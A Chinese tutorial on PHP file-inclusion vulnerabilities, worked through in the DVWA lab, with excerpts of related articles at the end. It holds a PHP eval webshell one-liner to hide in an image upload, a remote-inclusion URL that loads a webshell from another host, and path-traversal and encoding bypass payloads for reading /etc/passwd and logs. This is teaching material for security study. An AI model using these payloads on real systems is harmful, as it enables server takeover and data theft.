文件包含漏洞

本实验是基于DVWA和sqli-labs的实验环境

实验平台搭建:下载Wamp集成环境,并下载DVWA和sqli-labs和压缩包解压至wamp\www的目录下。安装只要注意Wamp环境的数据库名和密码对应即可。

0x01:文件包含漏洞

服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。

这也算官方的解释吧,用个人的话说,通过浏览器、url地址或者是一个参数的变量的内容,可以通过修改这些url或者参数变量的内容,读取到web根目录以前其他文件,但是不同于目录浏览,目录浏览是可以通过浏览器直接显示www目录下每一个文件的名称,把目录列表给列出来。

文件包含漏洞形成原因

程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,

但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多,而在JSP、ASP、ASP.NET程序中却非常少,甚至没有,这是有些语言设计的弊端。在PHP中经常出现包含漏洞,但这并不意味这其他语言不存在。

常见文件包含函数

include():执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行

require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本

include_once()和require_once():这两个函数和前两个函数作用几乎相同,区别在于若文件中代码已被包含则不会再次包含

LFI(本地包含漏洞)目录遍历可以理解为本地包含漏洞,验证以及利用方法都相同。

RFI(远程包含漏洞)可以包含进其他主机的url地址,如自己开放一个www服务,然后在上面放一个木马文件,如果是代码会在这个机器上执行的。拿到shell的权限要看运行www服务的帐号。

包含漏洞的特征:(这个可以说是文中的干货了)

在某一个页面中,一个变量的值等于一个页面文件或者是一个固定的值,如

?page=a.asp

?home=b.html

?file=content

漏洞分类

本地文件包含:可以包含本地文件,在条件允许时甚至能执行代码

上传图片马,然后包含

读敏感文件,读PHP文件

包含日志文件GetShell

包含/proc/self/envion文件GetShell

包含data:或php://input等伪协议

若有phpinfo则可以包含临时文件

远程文件包含:可以直接执行任意代码

要保证php.ini中allow_url_fopen和allow_url_include要为On

0x02、文件包含漏洞利用

1、包含读出目标机上其它文件

如果对取得的参数page没有过滤,于是我们可以任意指定目标主机上的其它敏感文件

在linux中,"."表示当前目录,“..”表示上一层目录,当../到根目录下,再往上层父目录仍旧是根目录。

用常见的“../”包含出日志文件。

2、包含可运行的PHP木马

在很多地方,我们都可以上传图片,如上传头像,图片等,这这里先上传图片,图片的内容为一句话木马

<?php @eval($_POST[‘cmd‘]);?>

由于上传的限制,一般只能上传jpg,png的图片格式,代码无法执行,我们用本地包含的方式将图片包含进来,代码就执行了,代码不需要后缀名是php、asp的格式,只要内容是代码即可执行。

然后用中国菜刀连接(功夫再高,也怕菜刀!)

3.远程包含url和php木马

如果目标主机的"allow_url_fopen"是激活的(默认是激活的),我们就可以有更大的利用空间,我们可以指定其它URL上的一个包含PHP代码的webshell来直接运行

不需要后缀名是php、asp的格式,只要内容是代码就可以。

出现概率少于本地包含,但更容易被利用

如在自己服务器上写上一句话代码,然后用远程包含漏洞去包含这个链接,

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://192.168.0.117/a.php

然后同上,用菜刀连接,获取webshell。

0x03、包含漏洞绕过技巧

在利用包含漏洞中,经常遇到一个问题,在查看page=/etc/passwd的时候,出现报错,找不到/etc/passwd.php文件,说明默认自动加上了后缀名.php,绕过的方式有一下几种

1.编码绕过字符过滤

(1)加“.”,当加点,会忽略点后面的内容。

(2)“%00”,即null空字符(/etc/passwd%00),在php语言格式里,当遇到%00的时候,后面不管有无其他东西,都不看了,只看%00前面的内容

(3)“#”,绕过文件扩展名过滤

2、编码

url编码、双层(多层)url编码

%2e%2e%2f   解码:../

%2e%2e%5c  解码:..\

%25%2e%25%2e%255c 解码:..\(可使用burp多层编码和解码)

uniclode/UTF-8编码

..%c0%af  解码:../

%c1%9c  解码:..\

但编码能否正确的起到效果,得看web server是否能对编码后的做解析

3、其他系统可能是使用到的特殊字符

file.txt ...

file.txt <spaces>

file .txt """"""""

file.txt <<>><

./././ file.txt

4、攻击向量字典

在kali中,也存在攻击向量字典路径是“/usr/share/wfuzz/wordlist/vulns”

利用条件

程序用include()等文件包含函数通过动态变量的范式引入需要包含的文件

用户能够控制该动态变量

漏洞危害

这类漏洞看起来貌似并不严重,一旦被恶意利用则会带来很大的危害。本地文件包含不仅能够包含web文件目录中的一些配置文件(比如Web应用、数据库配置文件、config文件),还可以查看到一些Web动态页面的源代码,为攻击者进一步发掘web应用漏洞提供条件,甚至一旦与路径遍历漏洞相结合,还可能直接攫取目标系统的用户名与密码等文件。并且能执行任意代码,甚至控制服务器。

时间: 2024-08-24 05:32:22

文件包含漏洞的相关文章

phpmyadmin任意文件包含漏洞分析(含演示)

0x01 漏洞描述 phpmyadmin是一款应用非常广泛的mysql数据库管理软件,基于PHP开发. 最新的CVE-2014-8959公告中,提到该程序多个版本存在任意文件包含漏洞,影响版本如下: phpMyAdmin 4.0.1 – 4.0.10.6 4.1.1 – 4.1.14.7 4.2.1 – 4.2.12 0x02 补丁分析 看到bobao.360.cn上提到了这个漏洞,于是我写个小分析吧,给渗透正没思路的人一个思路,也给学习代码审计的朋友一点资料. 前几天phpmyadmin出了个

PHP文件包含漏洞总结

0x00 前言 PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入.最常见的就属于本地文件包含(Local File Inclusion)漏洞了. 我们来看下面一段index.php代码: if ($_GET['func']) { include $_GET['func']; } else { include 'default.php'; } 程序的本意可能是当提交url为http:

PHP文件包含漏洞攻防实战(allow_url_fopen、open_basedir)

摘要 PHP是一种非常流行的Web开发语言,互联网上的许多Web应用都是利用PHP开发的.而在利用PHP开发的Web应用中,PHP文件包含漏洞是一种常见的漏洞.利用PHP文件包含漏洞入侵网站也是主流的一种攻击手段.本文对PHP文件包含漏洞的形成.利用技巧及防范进行了详细的分析,并通过一个真实案例演示了如何利用PHP文件包含漏洞对目标网站进行渗透测试,最终成功获取到网站的WebShell. 1. PHP文件包含漏洞介绍 首先,我们来介绍下何为文件包含漏洞.严格来说,文件包含漏洞是“代码注入”的一种

文件包含漏洞原理分析

文件包含这个漏洞,用我自己的话来说就是程序员在网站设计中,为方便自己在设计构架时,使用了一些包含的函数,就像'文件包含'这几个字的字面意思一样,在文件中,包含一个文件. 我在总结这篇文章的时候看了,其他人总结的,感觉别人总结的很是详细,就像一开始我只认为包含只有PHP代码中才存在,后来我再整理复习的时候,才发现,包含这个漏洞在各大语言中,都存在的,只不过现在大部分网站都是PHP网站,所以存在这个漏洞的几率大一点,好了不废话了,我开始整理了. 文件包含 程序开发人员一般会把重复使用的函数写到单个文

文件包含漏洞利用

文件包含可以利用的方式 (1) 直接进行文件的遍历读取:(读取敏感信息) 在获悉中间件 IIS.apache与第三方集成包等程序默认安装路径的情况,可以直接利用文件包含结合目录遍历进行"配置文件的读取" include.php?file=../../../etc/pass include.php?file=../../../xampp/htdocs/config.php (2)解析符合php规范的任何文件:(本地包含配合文件上传) 可以利用文件包含函数可以解析任何符合PHP规范的文件的

DVWA系列之14 文件包含漏洞分析

程序开发人员通常会把可重复使用的函数写入到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程一般被称为包含.程序开发人员都希望代码更加灵活,所以通常会将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞. PHP中提供了四个文件包含的函数,分别是include().include_once().require()和require_once(),它们的区别如下: require找不到被包含的文件时会产生

PHP文件包含漏洞利用

PHP文件包含漏洞利用 一.PHP配置在文件包含中的运用 文件包含漏洞即 当程序员在包含文件的过程中引入了外部提交的数据参与包含的过程所产生的漏洞,这个漏洞是目前Web攻击中最利用率最高的一个漏洞,攻击者 可以轻松获取服务器的访问权限(即拿到webshell).而文件包含通常又有本地文件包含(Local File Inclusion)和远程文件包含(Remote File Inclusion)之分.allow_url_fopen和allow_url_include是决定包含属于本地文件包含(LF

DVWA篇四:文件包含漏洞

1      测试环境介绍 测试环境为OWASP环境中的DVWA模块 2      测试说明 2.1  什么时远程文件包含漏洞 什么才是"远程文件包含漏洞"?回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的. 涉及到的危险函数:include(),require()和include_once(),require_once() Include:包含并运行指定文件,当包含外部文件

网站安全(7) —— PHP文件包含漏洞介绍

其原理就是注入一段用户能控制的脚本或代码,并让服务端执行.文件包含漏洞可能出现在JSP.PHP. ASP等语言中,原理都是一样的,本文只介绍PHP文件包含漏洞. 要想成功利用文件包含漏洞进行攻击,需要满足以下两个条件: 1. Web应用采用include()等文件包含函数通过动态变量的方式引入需要包含的文件 (文件包含函数还有 include_once().require().require_once()) 2. 用户能够控制该动态变量 现在来看一段简单的文件包含代码: ? 1 2 3 <?ph